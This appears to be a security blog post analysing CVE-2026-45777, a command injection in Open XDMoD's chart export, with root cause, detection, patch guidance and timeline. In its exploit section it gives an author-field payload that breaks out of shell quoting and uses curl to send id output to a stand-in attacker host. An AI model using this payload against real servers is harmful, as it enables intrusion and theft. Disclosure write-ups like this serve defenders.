# CVE-2026-45777 Unauthenticated RCE in Open XDMoD and the Chart Export Behind It

Source: https://www.egnworks.com/blog/cve-2026-45777-unauthenticated-rce-in-open-xdmod-and-the-chart-export-behind-it  
Author: Jacob Strix  
Published: 2026-06-19  
Updated: 2026-06-19  
Category: Security  
Tags: CVE-2026-45777, Authentication, RCE, Exploit Development

> How CVE-2026-45777 turns an Open XDMoD chart export into unauthenticated command execution and how to patch it. A real case with exploit and fix.

---

## Overview

Open XDMoD versions 9.5.0 through 11.0.2 contain an unauthenticated command injection flaw in the chart export pipeline. An attacker who supplies crafted chart metadata can run arbitrary system commands on the web server with the privileges of the web server process. No login is needed and no token is needed. The maintainers shipped a fix in version 11.0.3 on 12 May 2026 and a public proof of concept appeared on 17 June 2026.

The flaw lives in the code that writes document metadata into exported files. A single export request with a poisoned author field is enough to break out of the command that Open XDMoD builds and run anything the attacker wants. If you run Open XDMoD with the portal reachable from an untrusted network you should treat this as urgent and upgrade to 11.0.3 right now.

## Quick Facts

**CVE ID:** `CVE-2026-45777`

**Disclosure date:** 5 June 2026

**Reported:** Private report to the maintainers on 6 April 2026

**CVSS 3.1:** **9.8 Critical** | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

**CVSS 4.0:** **9.3 Critical** | `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H`

**CWE:** CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

**Affected component:** Chart export pipeline in libraries/charting.php

**Affected versions:** Open XDMoD 9.5.0 through 11.0.2

**Authentication required:** **None**

**CISA SSVC:** Exploitation=None Automatable=Yes Technical Impact=Total

**CISA KEV:** Not listed

**EPSS:** 0.004 (30th percentile as of 19 June 2026)

**Fix:** Upgrade to Open XDMoD 11.0.3

## What is Open XDMoD

Open XDMoD is the open source build of XDMoD which stands for XD Metrics on Demand. It is a framework for collecting and analyzing usage and performance metrics from high performance computing systems. The project comes out of the University at Buffalo Center for Computational Research and it is deployed across many universities and research centers and national laboratories. Administrators use it to track job throughput and utilization and efficiency across large clusters.

One of its core features is reporting. The portal can render charts and bundle them into PDF documents and image files for sharing. That export path is exactly where CVE-2026-45777 lives.

## Affected Environments

Any Open XDMoD deployment from 9.5.0 through 11.0.2 is affected once the chart export feature can be reached. Many sites run the portal on an internal research network but a large number of instances are exposed to the public internet so they can serve external collaborators. An internet facing instance on a vulnerable version is the worst case because the injection needs no authentication. An internal instance is still at risk from any user or device that can reach the portal. The web server process on these hosts often has read access to the portal configuration which stores the database credentials for the metric warehouse so a single foothold can reach a lot of sensitive data.

## Root Cause

Open XDMoD can export charts as PDF and image files. When it builds an export it writes document metadata such as the title and the author and the subject into the file with the exiftool command line program. The vulnerable code lived in the convertSvg function inside libraries/charting.php. It pulled that metadata straight from the chart document and dropped it into a shell command after a very weak cleaning step.

```php
$author  = isset($docmeta['author'])  ? addcslashes($docmeta['author'],  "()\n\\") : 'XDMoD';
$subject = isset($docmeta['subject']) ? addcslashes($docmeta['subject'], "()\n\\") : 'XDMoD chart';
$title   = isset($docmeta['title'])   ? addcslashes($docmeta['title'],   "()\n\\") : 'XDMoD PDF chart export';

$exifArgs = "-Title='$title' -Author='$author' -Description='$subject' -Source='$creator'";
```

The problem sits in the cleaning step. addcslashes only escapes parentheses and the newline and the backslash. It never touches the single quote or the dollar sign or the backtick. Each value is then wrapped in single quotes inside the command string. So an attacker who places a single quote inside one of these fields closes that quoted argument early and the shell reads everything after it as fresh input. That is a classic OS command injection under CWE-78.

## Exploit Mechanism

The export feature is reachable without authentication so the whole chain comes down to submitting an export request with a poisoned metadata field. The steps below show a harmless probe. A real attacker swaps the final command for a reverse shell or a credential dump.

### Step 1. Prepare the Payload

The attacker chooses one of the metadata fields and sets it to a value that breaks out of the single quotes around the exiftool argument. An author value like this one does the job.

```bash
XDMoD' ; curl http://attacker.host/$(id | base64 -w0) ; echo '
```

### Step 2. Trigger the Export

The attacker requests a chart export and attaches the poisoned author field as the document metadata. When convertSvg assembles the exiftool command the opening quote from the template meets the quote inside the payload and the author argument closes immediately. The shell then runs the injected curl call. The trailing echo reopens a quote so the remainder of the generated command stays valid.

### Step 3. Confirm Execution

The curl call sends the base64 output of id back to the attacker host which confirms code execution and reveals the account that runs the web server. From there the attacker can read the portal configuration and pull the database credentials or stage a reverse shell. The full working request is published in the proof of concept repository linked in the references.

## After the Foothold

Command execution as the web server user is rarely the end goal. On a typical Linux host that account can read the portal configuration and reach the metric database but it is not root. The usual next move is a local privilege escalation. A Linux web server compromised through this flaw can be chained straight into a kernel level escalation such as [Copy Fail CVE-2026-31431](/blog/copy-fail-cve-2026-31431-linux-kernel-lpe) which turns an unprivileged shell into full root. That is why a single unauthenticated injection like CVE-2026-45777 should be treated as a path to total host compromise rather than a limited web bug.

## Detection

Start by confirming the version on the host. On a package based install one command is enough.

```bash
rpm -q xdmod
```

You can also read the running version from the About page of the portal. After that review the web server access logs for chart export and report requests whose metadata values contain a single quote or a dollar sign or a semicolon or a backtick. None of those characters belong in a normal chart title so their presence is a strong sign that someone probed the injection point. If you run auditd you can also hunt for exiftool processes spawned by the web server account with unusual arguments. An outbound connection from the web server user to an unknown host right after an export is another reliable signal that the payload already fired.

## How to Patch

### Option 1. Upgrade to 11.0.3 (Recommended)

The fix shipped in Open XDMoD 11.0.3 on 12 May 2026. This is the only complete remedy. On a package based install the upgrade is a single command.

```bash
sudo yum update xdmod
```

### Option 2. Apply the Official Patch by Hand

If you cannot move to 11.0.3 immediately the maintainers publish the exact diff for the 9.5.0 to 11.0.2 range. Download it and apply it against your install tree then restart the web server.

```bash
curl -O https://open.xdmod.org/security_patches/GHSA-29qm-7w4v-43fw-9_5_0-11_0_2.patch
patch -p1 -d /usr/share/xdmod < GHSA-29qm-7w4v-43fw-9_5_0-11_0_2.patch
```

### Option 3. Reduce Exposure While You Schedule the Upgrade

Keep the portal off the public internet where you can and place it behind a reverse proxy that requires authentication. This does not fix the bug and it does not stop an authenticated or internal attacker so treat it only as a stopgap. If your instance was exposed and you find suspicious export requests in your logs you should assume the web server account was reachable and rotate every credential that the host could read including the metric database password and any service tokens in the portal configuration.

## Why the Patch Matches the Exploit

The patch replaces the weak addcslashes call with escapeshellarg which is the correct tool for this exact job. escapeshellarg wraps the whole value in quotes and escapes every character that the shell could treat as special. The patch also drops the manual single quotes around each argument because escapeshellarg now supplies them.

```php
$author  = isset($docmeta['author'])  ? escapeshellarg($docmeta['author'])  : "'XDMoD'";
$subject = isset($docmeta['subject']) ? escapeshellarg($docmeta['subject']) : "'XDMoD chart'";
$title   = isset($docmeta['title'])   ? escapeshellarg($docmeta['title'])   : "'XDMoD PDF chart export'";
$creator = escapeshellarg('XDMoD ' . OPEN_XDMOD_VERSION);

$exifArgs = "-Title=$title -Author=$author -Description=$subject -Source=$creator";
```

With this change the metadata can no longer escape its argument. A single quote in the author field becomes a literal single quote inside the file metadata instead of a shell control character. The fix lines up precisely with the exploit because it closes the exact breakout that the payload depended on.

## Has This Been Exploited

This is where CVE-2026-45777 differs from the headline cases. Compare it with the [unauthenticated RCE in Langflow](/blog/cve-2026-33017-unauthenticated-rce-in-langflow-and-the-20-hour-exploit) where attackers were live within twenty hours of disclosure. The XDMoD issue took a quieter path. It was reported privately on 6 April 2026 and the maintainers patched it in 11.0.3 on 12 May 2026 before any public disclosure. The advisory went public on 5 June 2026 and a proof of concept landed on GitHub on 17 June 2026. As of now there is no evidence of exploitation in the wild. The CISA assessment still rates the technical impact as total and marks the flaw as automatable which means a working exploit can be scaled across many hosts with very little effort. The EPSS score sits near the 30th percentile today which is low but a fresh public proof of concept tends to push that number up quickly. Treat this quiet window as time to patch rather than a reason to wait.

## Timeline

**6 April 2026:** The flaw is reported privately to the maintainers.

**12 May 2026:** The fix ships in Open XDMoD 11.0.3.

**13 May 2026:** The CVE is assigned.

**5 June 2026:** Public disclosure through the GitHub advisory and NVD.

**17 June 2026:** A public proof of concept is published on GitHub.

## Lessons

The lesson of CVE-2026-45777 is old but it keeps coming back. Escaping is not the same as quoting and a handmade list of dangerous characters is not the same as a safe encoder. The original code tried to be careful. It escaped parentheses and newlines and backslashes. It simply forgot the one character that mattered which was the single quote that wrapped the value. escapeshellarg exists so that developers never have to maintain that list by hand. Whenever user input reaches a shell the only safe path is a dedicated escaping function or an interface that avoids the shell altogether.

The same root lesson shows up across very different stacks. The [Eclipse Equinox OSGi console RCE](/blog/eclipse-equinox-osgi-rce-cve-2023-54342) was an interface that trusted the network instead of the input and the [cPanel and WHM authentication bypass](/blog/cve-2026-41940-the-cpanel-and-whm-authentication-bypass-explained-and-how-to-patch-it) was a parser that trusted a header. Different bugs but the same failure to treat outside data as hostile.

## Related Reading

[CVE-2026-33017 Unauthenticated RCE in Langflow and the 20 Hour Exploit](/blog/cve-2026-33017-unauthenticated-rce-in-langflow-and-the-20-hour-exploit)

[Eclipse Equinox OSGi Console RCE CVE-2023-54342 Analysis and Patch Guide](/blog/eclipse-equinox-osgi-rce-cve-2023-54342)

[Copy Fail CVE-2026-31431 Linux Kernel LPE Analysis and Patch Guide](/blog/copy-fail-cve-2026-31431-linux-kernel-lpe)

[CVE-2026-41940 The cPanel and WHM Authentication Bypass Explained](/blog/cve-2026-41940-the-cpanel-and-whm-authentication-bypass-explained-and-how-to-patch-it)

[BlueHammer CVE-2026-33825 Windows Defender LPE Analysis and Patch Guide](/blog/bluehammer-cve-2026-33825-defender-lpe)

## References

[GitHub Security Advisory GHSA-29qm-7w4v-43fw](https://github.com/ubccr/xdmod/security/advisories/GHSA-29qm-7w4v-43fw)

[NVD Entry for CVE-2026-45777](https://nvd.nist.gov/vuln/detail/CVE-2026-45777)

[Official Patch Diff for 9.5.0 to 11.0.2](https://open.xdmod.org/security_patches/GHSA-29qm-7w4v-43fw-9_5_0-11_0_2.patch)

[Open XDMoD 11.0.3 Release Notes](https://github.com/ubccr/xdmod/releases/tag/v11.0.3-2)

[Public Proof of Concept on GitHub](https://github.com/morepoints/CVE-2026-45777)

[Red Hat CVE Page for CVE-2026-45777](https://access.redhat.com/security/cve/cve-2026-45777)